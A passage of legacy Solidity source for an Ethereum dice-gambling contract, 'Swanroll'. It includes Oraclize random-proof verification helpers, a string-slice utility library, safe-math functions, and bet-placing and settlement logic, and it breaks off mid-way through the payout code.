sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, ""random"", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping (bytes32 => bytes32) oraclize_randomDS_args; mapping (bytes32 => bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4 + (uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset + (uint(dersig[offset - 1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset + 1]) + 2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3 + 1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1 + 65 + 32); tosign2[0] = 1; //role copyBytes(proof, sig2offset - 65, 65, tosign2, 1); bytes memory CODEHASH = hex""fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c""; copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex""7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4""; bytes memory tosign3 = new bytes(1 + 65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3 + 65 + 1]) + 2); copyBytes(proof, 3 + 65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"") || (_proof[1] != ""P"") || (_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){ bool match_ = true; for (var i = 0; i < prefix.length; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3 + 65 + (uint(proof[3 + 65 + 1]) + 2) + 32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId))); if (checkok == false) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1]) + 2); copyBytes(proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8 + 1 + 32); copyBytes(proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65; copyBytes(proof, sig2offset - 64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)) {//unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32 + 8 + 1 + 32); copyBytes(proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false) { oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(""."")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(""."")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly {b := and(mload(ptr), 0xFF)} if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly {b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)} if (b < 0x80) { len = 1; } else if (b < 0xE0) { len = 2; } else if (b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly {word := mload(mload(add(self, 32)))} var b = word / divisor; if (b < 0x80) { ret = b; len = 1; } else if (b < 0xE0) { ret = b & 0x1F; len = 2; } else if (b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } // Check for truncated codepoints if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop : jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop : jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret : ptr := add(ptr, needlelen) exit : } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return """"; uint len = self._len * (parts.length - 1); for (uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly {retptr := add(ret, 32)} for (i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract DSSafeAddSub { function safeAdd(uint a, uint b) internal returns (uint) { require(a + b >= a); return a + b; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } } contract Swanroll is usingOraclize, DSSafeAddSub { using strings for *; /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { if (((((_betSize * (100- (safeSub(_playerNumber, 1)))) / (safeSub(_playerNumber, 1))+ _betSize)) * houseEdge / houseEdgeDivisor) -_betSize > maxProfit || _betSize < minBet || _playerNumber < minNumber || _playerNumber > maxNumber) require(false); _; } /* * checks game is currently active */ modifier gameIsActive { require(gamePaused != true); _; } /* * checks payouts are currently active */ modifier payoutsAreActive { require(payoutsPaused != true); _; } /* * checks only Oraclize address is calling */ modifier onlyOraclize { require(msg.sender == oraclize_cbAddress()); _; } /* * checks only owner address is calling */ modifier onlyOwner { require(msg.sender == owner); _; } /* * checks only treasury address is calling */ modifier onlyTreasury { require(msg.sender == treasury); _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; //init dicontinued contract data int public totalBets = 0; uint public maxPendingPayouts; //init dicontinued contract data uint public totalWeiWon = 0; //init dicontinued contract data uint public totalWeiWagered = 0; /* * player vars */ mapping (bytes32 => address) playerAddress; mapping (bytes32 => address) playerTempAddress; mapping (bytes32 => bytes32) playerBetId; mapping (bytes32 => uint) playerBetValue; mapping (bytes32 => uint) playerTempBetValue; mapping (bytes32 => uint) playerDieResult; mapping (bytes32 => uint) playerNumber; mapping (address => uint) playerPendingWithdrawals; mapping (bytes32 => uint) playerProfit; mapping (bytes32 => uint) playerTempReward; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed ResultSerialNumber, bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status, bytes Proof); /* log manual refunds */ event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); /* * init */ function Swanroll() { owner = msg.sender; treasury = msg.sender; oraclize_setNetwork(networkID_auto); /* use TLSNotary for oraclize call */ oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(100000); /* init min bet (0.1 ether) */ ownerSetMinBet(100000000000000000); /* init gas for oraclize */ gasForOraclize = 250000; } /* * public function * player submit bet * only if game is active & bet is valid can query oraclize and set player vars */ function playerRollDice(uint rollUnder) public payable gameIsActive betIsValid(msg.value, rollUnder) { /* safely update contract balance to account for cost to call oraclize*/ contractBalance = safeSub(contractBalance, oraclize_getPrice(""URL"", gasForOraclize)); /* total number of bets */ totalBets += 1; /* total wagered */ totalWeiWagered += msg.value; /* * assign partially encrypted query to oraclize * only the apiKey is encrypted * integer query is in plain text */ bytes32 rngId = oraclize_query(""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\""serialNumber\"",\""data\""]', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BGrEyTBBbqynciODlOSfcvhQtq+ps4kHXcjyYYgGafvG1nhI3pUBdNoJpGhgK6o5+NLthVFfYADo2UySRWMxgBQmcxTC0wxQXqJloPCPnOqZxClVn7DDrRu3BZBAD9MB5UFeGG7y5i2cOKle851A5WX3T0+q},\""n\"":1,\""min\"":1,\""max\"":100,\""replacement\"":true,\""base\"":10${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", gasForOraclize); /* map bet id to this oraclize query */ playerBetId[rngId] = rngId; /* map player lucky number to this oraclize query */ playerNumber[rngId] = rollUnder; /* map value of wager to this oraclize query */ playerBetValue[rngId] = msg.value; /* map player address to this oraclize query */ playerAddress[rngId] = msg.sender; /* safely map player profit to this oraclize query */ playerProfit[rngId] = ((((msg.value * (100 - (safeSub(rollUnder, 1)))) / (safeSub(rollUnder,1)) + msg.value)) *houseEdge / houseEdgeDivisor) - msg.value; /* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */ maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[rngId]); /* check contract can payout on win */ require(maxPendingPayouts < contractBalance); /* provides accurate numbers for web3 and allows for manual refunds in case of no oraclize __callback */ LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); } /* * semi-public function - only oraclize can call */ /*TLSNotary for oraclize call */ function __callback(bytes32 myid, string result, bytes proof) public onlyOraclize payoutsAreActive { /* player address mapped to query id does not exist */ require(playerAddress[myid] != 0x0); /* keep oraclize honest by retrieving the serialNumber from random.org result */ var sl_result = result.toSlice(); sl_result.beyond(""["".toSlice()).until(""]"".toSlice()); uint serialNumberOfResult = parseInt(sl_result.split(', '.toSlice()).toString()); /* map result to player */ playerDieResult[myid] = parseInt(sl_result.beyond(""["".toSlice()).until(""]"".toSlice()).toString()); /* get the playerAddress for this query id */ playerTempAddress[myid] = playerAddress[myid]; /* delete playerAddress for this query id */ delete playerAddress[myid]; /* map the playerProfit for this query id */ playerTempReward[myid] = playerProfit[myid]; /* set playerProfit for this query id to 0 */ playerProfit[myid] = 0; /* safely reduce maxPendingPayouts liability */ maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[myid]); /* map the playerBetValue for this query id */ playerTempBetValue[myid] = playerBetValue[myid]; /* set playerBetValue for this query id to 0 */ playerBetValue[myid] = 0; /* * refund * if result is 0 result is empty or no proof refund original bet value * if refund fails save refund value to playerPendingWithdrawals */ if (playerDieResult[myid]== 0 || bytes(result).length == 0 || bytes(proof).length == 0){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 3, proof); /* * send refund - external call to an untrusted contract * if send fails map refund value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if (!playerTempAddress[myid].send(playerTempBetValue[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 4, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempBetValue[myid]); } return; } /* * pay winner * update contract balance to calculate new max bet * send reward * if send of reward fails save value to playerPendingWithdrawals */ if (playerDieResult[myid] < playerNumber[myid]){ /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerTempReward[myid]); /* update total wei won */ totalWeiWon = safeAdd(totalWeiWon, playerTempReward[myid]); /* safely calculate payout via profit plus original wager */ playerTempReward[myid] = safeAdd(playerTempReward[myid], playerTempBetValue[myid]); LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 1, proof); /* update maximum profit */ setMaxProfit(); /* * send win 